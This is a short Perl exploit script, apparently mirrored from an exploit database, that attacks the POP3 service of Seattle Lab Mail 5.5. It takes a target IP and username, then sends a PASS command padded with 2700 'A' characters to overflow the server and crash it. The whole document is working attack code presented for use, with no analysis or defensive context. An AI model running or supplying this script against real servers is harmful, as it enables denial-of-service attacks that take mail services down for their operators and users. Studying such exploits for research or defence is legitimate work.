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## https://sploitus.com/exploit?id=PACKETSTORM:176832
use IO::Socket;
sub intro {
print "***************************************************\n";
print "* Seattle Lab Mail (SLmail) 5.5 *\n";
print "* *\n";
print "* Coded By Fernando Mengali *\n";
print "* *\n";
print "* POP3 'PASS' Denied of Service - DoS *\n";
print "* *\n";
print "***************************************************\n";
}
intro();
if (!$ARGV[0] && !$ARGV[1]) {
print "\nUsage: $0 <ip> <username>\n";
exit(0);
}
my $host = $ARGV[0];
my $username = $ARGV[1];
my $port = 110;
my $payload = "A" x 2700;
my $s = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp'
) or die "Unable to connect: $!\n";
$s->recv(my $data, 1024); # Grab banners (if any)
$s->send('USER ' . $username . "\r\n");
$s->recv(my $response, 1024);
$s->recv(my $data, 1024); # Grab banners (if any)
$s->send('PASS ' . $payload . "\r\n");
$s->recv(my $response, 1024);
$s->send("QUIT\r\n");
$s->close();